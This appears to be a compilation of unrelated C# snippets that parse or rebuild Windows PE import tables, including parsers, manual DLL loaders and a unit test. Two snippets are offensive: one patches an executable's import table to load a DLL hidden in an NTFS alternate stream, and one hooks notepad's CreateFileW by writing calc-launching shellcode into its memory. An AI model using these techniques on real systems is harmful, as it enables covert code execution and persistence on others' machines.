/// <summary> /// Gets a name for a given import descriptor. /// </summary> /// <param name="descriptor">The individual import descriptor.</param> public unsafe string GetImportDescriptorName(IMAGE_IMPORT_DESCRIPTOR descriptor) { if (!TryRvaToAbsoluteAddress(descriptor.Name, out long nameAddress)) { throw new Exception("Failed to map RVA to absolute address."); } Stream.Seek(StreamStart, SeekOrigin.Begin); Stream.Seek(nameAddress, SeekOrigin.Current); // This is technically unsafe to do due to doing multiple assumptions. // Within the case of our program here, this is ok, 260 characters is a reasonable length for a max DLL name. // This in fact used to be the max path length on Windows. const int maxStringLength = 260; int stringLength = 0; Span <byte> chars = stackalloc byte[maxStringLength]; for (int x = 0; x < maxStringLength; x++) { var b = Stream.Read <byte>(); if (b == 0x00) { break; } chars[x] = b; stringLength += 1; } return(Encoding.ASCII.GetString(chars.Slice(0, stringLength))); }
public Int32 GetModuleCount() { Int32 count = 0; IntPtr codeBase = this._module.codeBase; IMAGE_DATA_DIRECTORY directory = this._module.headers.OptionalHeader.DataDirectory[1]; if (directory.Size > 0) { IMAGE_IMPORT_DESCRIPTOR importDesc = PointerHelpers.ToStruct <IMAGE_IMPORT_DESCRIPTOR>(codeBase, directory.VirtualAddress); while (importDesc.Name > 0) { Int32 str = codeBase.ToInt32() + (Int32)importDesc.Name; String tmp = Marshal.PtrToStringAnsi(new IntPtr(str)); Int32 handle = Win32Imports.LoadLibrary(tmp); if (handle == -1) { break; } count++; importDesc = PointerHelpers.ToStruct <IMAGE_IMPORT_DESCRIPTOR>(codeBase, (UInt32)(directory.VirtualAddress + (Marshal.SizeOf(typeof(IMAGE_IMPORT_DESCRIPTOR)) * (count)))); } } return(count); }
protected override IMAGE_IMPORT_DESCRIPTOR[] ParseTarget() { if (_offset == 0) { return(null); } var idescs = new List <IMAGE_IMPORT_DESCRIPTOR>(); uint idescSize = 20; // Size of IMAGE_IMPORT_DESCRIPTOR (5 * 4 Byte) uint round = 0; while (true) { var idesc = new IMAGE_IMPORT_DESCRIPTOR(_buff, _offset + idescSize * round); // Found the last IMAGE_IMPORT_DESCRIPTOR which is completely null (except TimeDateStamp). if (idesc.OriginalFirstThunk == 0 //&& idesc.TimeDateStamp == 0 && idesc.ForwarderChain == 0 && idesc.Name == 0 && idesc.FirstThunk == 0) { break; } idescs.Add(idesc); round++; } return(idescs.ToArray()); }
public void ImageImportDescriptorConstructorWorks_Test() { var importDescriptor = new IMAGE_IMPORT_DESCRIPTOR(RawStructures.RawImportDescriptor, 2); Assert.Equal((uint)0x33221100, importDescriptor.OriginalFirstThunk); Assert.Equal((uint)0x77665544, importDescriptor.TimeDateStamp); Assert.Equal(0xbbaa9988, importDescriptor.ForwarderChain); Assert.Equal(0xffeeddcc, importDescriptor.Name); Assert.Equal((uint)0x44332211, importDescriptor.FirstThunk); }
public void InjectDll(string filePath, string dllPath, string functionName) { var fileName = Path.GetFileName(filePath); string injectedDllName = NTFSStreamUtils.GetAlternateStreamName(fileName, dllPath); var file = new PeFile(filePath); var newImportsSize = (file.ImageImportDescriptors.Length + 1) * 0x14; var newImportsPosition = _FindZeroBlock(file, newImportsSize); file.MoveImportTable(newImportsPosition); var newImportDesscriptorOffset = newImportsPosition + (file.ImageImportDescriptors.Length * 0x14); var newImportDesscriptor = new IMAGE_IMPORT_DESCRIPTOR(file.Buff, (uint)newImportDesscriptorOffset); var dllNameOffset = _FindZeroBlock(file, dllPath.Length + 1, (newImportsPosition + newImportsSize) + 0x14); for (int i = 0; i < injectedDllName.Length; i++) { file.Buff[i + dllNameOffset] = (byte)injectedDllName[i]; } file.Buff[dllNameOffset + injectedDllName.Length] = 0; var functionNameOffset = _FindZeroBlock(file, functionName.Length + 3, dllNameOffset + dllPath.Length + 1); newImportDesscriptor.Name = (uint)file.ConvertOffsetToRva(dllNameOffset); newImportDesscriptor.TimeDateStamp = (uint)file.ConvertOffsetToRva(functionNameOffset); newImportDesscriptor.OriginalFirstThunk = newImportDesscriptor.ForwarderChain = 0; newImportDesscriptor.FirstThunk = (uint)file.ConvertOffsetToRva(newImportDesscriptorOffset) + 4;// TimeDateStamp address file.Buff[functionNameOffset] = 0; file.Buff[functionNameOffset + 1] = 0; for (int i = 0; i < functionName.Length; i++) { file.Buff[i + functionNameOffset + 2] = (byte)functionName[i]; } file.Buff[functionNameOffset + functionName.Length + 2] = 0; var importDirectorysSizeOffset = BitConverter.ToInt32(file.Buff, 0x3c) + 0x80 + 4; file.Buff[importDirectorysSizeOffset] = (byte)(newImportsSize & (0xFF)); file.Buff[importDirectorysSizeOffset + 1] = (byte)((newImportsSize & (0xFF00)) >> 8); file.Buff[importDirectorysSizeOffset + 2] = (byte)((newImportsSize & (0xFF0000)) >> 16); file.Buff[importDirectorysSizeOffset + 3] = (byte)((newImportsSize & (0xFF000000)) >> 24); file.Save(fileName); NTFSStreamUtils.CopyToAlternateStream(fileName, dllPath); }
static IntPtr GetThunk(IntPtr ModuleHandle, string intermodName, string funcName) { IntPtr rval = IntPtr.Zero; IntPtr iidPtr = IntPtr.Zero; IMAGE_DOS_HEADER idh; idh = (IMAGE_DOS_HEADER)Marshal.PtrToStructure(ModuleHandle, typeof(IMAGE_DOS_HEADER)); if (idh.isValid) { IMAGE_NT_HEADERS32 inh32; IMAGE_NT_HEADERS64 inh64; inh32 = (IMAGE_NT_HEADERS32)Marshal.PtrToStructure(IntPtr.Add(ModuleHandle, idh.e_lfanew), typeof(IMAGE_NT_HEADERS32)); inh64 = (IMAGE_NT_HEADERS64)Marshal.PtrToStructure(IntPtr.Add(ModuleHandle, idh.e_lfanew), typeof(IMAGE_NT_HEADERS64)); if (inh32.isValid && inh32.OptionalHeader.ImportTable.VirtualAddress != 0) { iidPtr = IntPtr.Add(ModuleHandle, (int)inh32.OptionalHeader.ImportTable.VirtualAddress); } else if (inh64.isValid && inh64.OptionalHeader.ImportTable.VirtualAddress != 0) { iidPtr = IntPtr.Add(ModuleHandle, (int)inh64.OptionalHeader.ImportTable.VirtualAddress); } } if (iidPtr != IntPtr.Zero) { IMAGE_IMPORT_DESCRIPTOR iid = (IMAGE_IMPORT_DESCRIPTOR)Marshal.PtrToStructure(iidPtr, typeof(IMAGE_IMPORT_DESCRIPTOR)); while (iid.Name != 0) { string iidName = Marshal.PtrToStringAnsi(IntPtr.Add(ModuleHandle, (int)iid.Name)); if (string.Compare(iidName, intermodName, true) == 0) { // this probably won't work for 64-bit processes as the thunk data structure is different IntPtr itdPtr = IntPtr.Add(ModuleHandle, (int)iid.FirstThunk); IntPtr oitdPtr = IntPtr.Add(ModuleHandle, (int)iid.OriginalFirstThunk); while (itdPtr != IntPtr.Zero && oitdPtr != IntPtr.Zero) { IMAGE_THUNK_DATA itd = (IMAGE_THUNK_DATA)Marshal.PtrToStructure(itdPtr, typeof(IMAGE_THUNK_DATA)); IMAGE_THUNK_DATA oitd = (IMAGE_THUNK_DATA)Marshal.PtrToStructure(oitdPtr, typeof(IMAGE_THUNK_DATA)); IntPtr iibnPtr = IntPtr.Add(ModuleHandle, (int)oitd.AddressOfData); IMAGE_IMPORT_BY_NAME iibn = (IMAGE_IMPORT_BY_NAME)Marshal.PtrToStructure(iibnPtr, typeof(IMAGE_IMPORT_BY_NAME)); string iibnName = Marshal.PtrToStringAnsi(IntPtr.Add(iibnPtr, Marshal.OffsetOf(typeof(IMAGE_IMPORT_BY_NAME), "Name").ToInt32())); if (string.Compare(iibnName, funcName, true) == 0) { rval = new IntPtr(itd.Function); break; } itdPtr = IntPtr.Add(itdPtr, Marshal.SizeOf(typeof(IMAGE_THUNK_DATA))); oitdPtr = IntPtr.Add(oitdPtr, Marshal.SizeOf(typeof(IMAGE_THUNK_DATA))); } break; } iidPtr = IntPtr.Add(iidPtr, Marshal.SizeOf(typeof(IMAGE_IMPORT_DESCRIPTOR))); iid = (IMAGE_IMPORT_DESCRIPTOR)Marshal.PtrToStructure(iidPtr, typeof(IMAGE_IMPORT_DESCRIPTOR)); } } return(rval); }
public Int32 BuildImportTable() { Int32 ucount = this.GetModuleCount(); this._module.modules = Marshal.AllocHGlobal((ucount) * sizeof(Int32)); Int32 pcount = 0; Int32 result = 1; IntPtr codeBase = _module.codeBase; IMAGE_DATA_DIRECTORY directory = _module.headers.OptionalHeader.DataDirectory[1]; if (directory.Size > 0) { IMAGE_IMPORT_DESCRIPTOR importDesc = PointerHelpers.ToStruct <IMAGE_IMPORT_DESCRIPTOR>(codeBase, directory.VirtualAddress); while (importDesc.Name > 0) { IntPtr str = new IntPtr(codeBase.ToInt32() + (Int32)importDesc.Name); String tmp = Marshal.PtrToStringAnsi(str); unsafe { UInt32 *thunkRef; UInt32 *funcRef; Int32 handle = Win32Imports.LoadLibrary(tmp); if (handle == -1) { result = 0; break; } if (importDesc.CharacteristicsOrOriginalFirstThunk > 0) { IntPtr thunkRefAddr = new IntPtr(codeBase.ToInt32() + (Int32)importDesc.CharacteristicsOrOriginalFirstThunk); thunkRef = (UInt32 *)thunkRefAddr; funcRef = (UInt32 *)(codeBase.ToInt32() + (Int32)importDesc.FirstThunk); } else { thunkRef = (UInt32 *)(codeBase.ToInt32() + (Int32)importDesc.FirstThunk); funcRef = (UInt32 *)(codeBase.ToInt32() + (Int32)importDesc.FirstThunk); } for (; *thunkRef > 0; thunkRef++, funcRef++) { if ((*thunkRef & 0x80000000) != 0) { *funcRef = (UInt32)Win32Imports.GetProcAddress(new IntPtr(handle), new IntPtr(*thunkRef & 0xffff)); } else { IntPtr str2 = new IntPtr(codeBase.ToInt32() + (Int32)(*thunkRef) + 2); String tmpaa = Marshal.PtrToStringAnsi(str2); * funcRef = Win32Imports.GetProcAddress(new IntPtr(handle), tmpaa); } if (*funcRef == 0) { result = 0; break; } } pcount++; importDesc = PointerHelpers.ToStruct <IMAGE_IMPORT_DESCRIPTOR>(codeBase, directory.VirtualAddress + (uint)(Marshal.SizeOf(typeof(IMAGE_IMPORT_DESCRIPTOR)) * pcount)); } } } return(result); }
public static void Inject() { string targetProcName = "notepad"; string targetFuncName = "CreateFileW"; // Get target process id and read memory contents Process process = Process.GetProcessesByName(targetProcName)[0]; IntPtr hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, process.Id); int bytesRead = 0; byte[] fileBytes = new byte[process.WorkingSet64]; ReadProcessMemory(hProcess, process.MainModule.BaseAddress, fileBytes, fileBytes.Length, ref bytesRead); // The DOS header IMAGE_DOS_HEADER dosHeader; // The file header IMAGE_FILE_HEADER fileHeader; // Optional 32 bit file header IMAGE_OPTIONAL_HEADER32 optionalHeader32 = new IMAGE_OPTIONAL_HEADER32(); // Optional 64 bit file header IMAGE_OPTIONAL_HEADER64 optionalHeader64 = new IMAGE_OPTIONAL_HEADER64(); // Image Section headers IMAGE_SECTION_HEADER[] imageSectionHeaders; // Import descriptor for each DLL IMAGE_IMPORT_DESCRIPTOR[] importDescriptors; // Convert file bytes to memorystream and use reader MemoryStream stream = new MemoryStream(fileBytes, 0, fileBytes.Length); BinaryReader reader = new BinaryReader(stream); //Begin parsing structures dosHeader = FromBinaryReader <IMAGE_DOS_HEADER>(reader); // Add 4 bytes to the offset stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin); UInt32 ntHeadersSignature = reader.ReadUInt32(); fileHeader = FromBinaryReader <IMAGE_FILE_HEADER>(reader); if (Is32BitHeader(fileHeader)) { optionalHeader32 = FromBinaryReader <IMAGE_OPTIONAL_HEADER32>(reader); } else { optionalHeader64 = FromBinaryReader <IMAGE_OPTIONAL_HEADER64>(reader); } imageSectionHeaders = new IMAGE_SECTION_HEADER[fileHeader.NumberOfSections]; for (int headerNo = 0; headerNo < imageSectionHeaders.Length; ++headerNo) { imageSectionHeaders[headerNo] = FromBinaryReader <IMAGE_SECTION_HEADER>(reader); } // Go to ImportTable and parse every imported DLL stream.Seek((long)((ulong)optionalHeader64.ImportTable.VirtualAddress), SeekOrigin.Begin); importDescriptors = new IMAGE_IMPORT_DESCRIPTOR[50]; for (int i = 0; i < 50; i++) { importDescriptors[i] = FromBinaryReader <IMAGE_IMPORT_DESCRIPTOR>(reader); } bool flag = false; int j = 0; // The below is really hacky, would have been better to use structures! while (j < importDescriptors.Length && !flag) { for (int k = 0; k < 1000; k++) { // Get the address for the function and its name stream.Seek(importDescriptors[j].OriginalFirstThunk + (k * 8), SeekOrigin.Begin); long nameOffset = reader.ReadInt64(); if (nameOffset > 1000000 || nameOffset < 0) { break; } // Get the function name stream.Seek(nameOffset + 2, SeekOrigin.Begin); List <string> list = new List <string>(); byte[] array; do { array = reader.ReadBytes(1); list.Add(Encoding.Default.GetString(array)); }while (array[0] != 0); string curFuncName = string.Join(string.Empty, list.ToArray()); curFuncName = curFuncName.Substring(0, curFuncName.Length - 1); // Get the offset of the pointer to the target function and its current value long funcOffset = importDescriptors[j].FirstThunk + (k * 8); stream.Seek(funcOffset, SeekOrigin.Begin); long curFuncAddr = reader.ReadInt64(); // Found target function, modify address to point to shellcode if (curFuncName == targetFuncName) { // WinExec shellcode from: https://github.com/peterferrie/win-exec-calc-shellcode // nasm w64-exec-calc-shellcode.asm -DSTACK_ALIGN=TRUE -DFUNC=TRUE -DCLEAN=TRUE -o w64-exec-calc-shellcode.bin byte[] payload = new byte[111] { 0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x54, 0x58, 0x66, 0x83, 0xe4, 0xf0, 0x50, 0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x29, 0xd4, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x03, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x01, 0xfe, 0x8b, 0x54, 0x1f, 0x24, 0x0f, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x02, 0xad, 0x81, 0x3c, 0x07, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x01, 0xfe, 0x8b, 0x34, 0xae, 0x48, 0x01, 0xf7, 0x99, 0xff, 0xd7, 0x48, 0x83, 0xc4, 0x68, 0x5c, 0x5d, 0x5f, 0x5e, 0x5b, 0x5a, 0x59, 0x58 }; // Once shellcode has executed go to real import (mov to rax then jmp to address) byte[] mov_rax = new byte[2] { 0x48, 0xb8 }; byte[] jmp_address = BitConverter.GetBytes(curFuncAddr); byte[] jmp_rax = new byte[2] { 0xff, 0xe0 }; // Build shellcode byte[] shellcode = new byte[payload.Length + mov_rax.Length + jmp_address.Length + jmp_rax.Length]; payload.CopyTo(shellcode, 0); mov_rax.CopyTo(shellcode, payload.Length); jmp_address.CopyTo(shellcode, payload.Length + mov_rax.Length); jmp_rax.CopyTo(shellcode, payload.Length + mov_rax.Length + jmp_address.Length); // Allocate memory for shellcode IntPtr shellcodeAddress = VirtualAllocEx(hProcess, IntPtr.Zero, shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); // Write shellcode to memory IntPtr shellcodeBytesWritten = IntPtr.Zero; WriteProcessMemory(hProcess, shellcodeAddress, shellcode, shellcode.Length, out shellcodeBytesWritten); long funcAddress = (long)optionalHeader64.ImageBase + funcOffset; // Get current value of IAT bytesRead = 0; byte[] buffer1 = new byte[8]; ReadProcessMemory(hProcess, (IntPtr)funcAddress, buffer1, buffer1.Length, ref bytesRead); // Get shellcode address byte[] shellcodePtr = BitConverter.GetBytes((Int64)shellcodeAddress); // Modify permissions to allow IAT modification uint oldProtect = 0; bool protectbool = VirtualProtectEx(hProcess, (IntPtr)funcAddress, shellcodePtr.Length, PAGE_EXECUTE_READWRITE, out oldProtect); // Modfiy IAT to point to shellcode IntPtr iatBytesWritten = IntPtr.Zero; bool success = WriteProcessMemory(hProcess, (IntPtr)funcAddress, shellcodePtr, shellcodePtr.Length, out iatBytesWritten); // Read IAT to confirm new value bytesRead = 0; byte[] buffer = new byte[8]; ReadProcessMemory(hProcess, (IntPtr)funcAddress, buffer, buffer.Length, ref bytesRead); flag = true; break; } } j++; } }
static IntPtr[] BuildImportTable(ref IMAGE_NT_HEADERS OrgNTHeaders, IntPtr pCode) { System.Collections.Generic.List <IntPtr> ImportModules = new System.Collections.Generic.List <IntPtr>(); uint NumEntries = OrgNTHeaders.OptionalHeader.ImportTable.Size / Sz.IMAGE_IMPORT_DESCRIPTOR; IntPtr pImportDesc = PtrAdd(pCode, OrgNTHeaders.OptionalHeader.ImportTable.VirtualAddress); for (uint i = 0; i != NumEntries; i++, pImportDesc = PtrAdd(pImportDesc, Sz.IMAGE_IMPORT_DESCRIPTOR)) { IMAGE_IMPORT_DESCRIPTOR ImportDesc = PtrRead <IMAGE_IMPORT_DESCRIPTOR>(pImportDesc); if (ImportDesc.Name == 0) { break; } IntPtr handle = Win.LoadLibrary(PtrAdd(pCode, ImportDesc.Name)); if (PtrIsInvalidHandle(handle)) { foreach (IntPtr m in ImportModules) { Win.FreeLibrary(m); } ImportModules.Clear(); throw new DllException("Can't load libary " + Marshal.PtrToStringAnsi(PtrAdd(pCode, ImportDesc.Name))); } ImportModules.Add(handle); IntPtr pThunkRef, pFuncRef; if (ImportDesc.OriginalFirstThunk > 0) { pThunkRef = PtrAdd(pCode, ImportDesc.OriginalFirstThunk); pFuncRef = PtrAdd(pCode, ImportDesc.FirstThunk); } else { // no hint table pThunkRef = PtrAdd(pCode, ImportDesc.FirstThunk); pFuncRef = PtrAdd(pCode, ImportDesc.FirstThunk); } for (int SzRef = IntPtr.Size; ; pThunkRef = PtrAdd(pThunkRef, SzRef), pFuncRef = PtrAdd(pFuncRef, SzRef)) { IntPtr ReadThunkRef = PtrRead <IntPtr>(pThunkRef), WriteFuncRef; if (ReadThunkRef == IntPtr.Zero) { break; } if (Win.IMAGE_SNAP_BY_ORDINAL(ReadThunkRef)) { WriteFuncRef = Win.GetProcAddress(handle, Win.IMAGE_ORDINAL(ReadThunkRef)); } else { WriteFuncRef = Win.GetProcAddress(handle, PtrAdd(PtrAdd(pCode, ReadThunkRef), Of.IMAGE_IMPORT_BY_NAME_Name)); } if (WriteFuncRef == IntPtr.Zero) { throw new DllException("Can't get adress for imported function"); } PtrWrite(pFuncRef, WriteFuncRef); } } return(ImportModules.Count > 0 ? ImportModules.ToArray() : null); }
internal ImportDirectoryEntry(PortableExecutableImage image, Location location, IMAGE_IMPORT_DESCRIPTOR descriptor, string name) : base(image, location, false) { _name = name; OriginalFirstThunk = descriptor.OriginalFirstThunk; TimeDateStamp = descriptor.TimeDateStamp; ForwarderChain = descriptor.ForwarderChain; Name = descriptor.Name; FirstThunk = descriptor.FirstThunk; }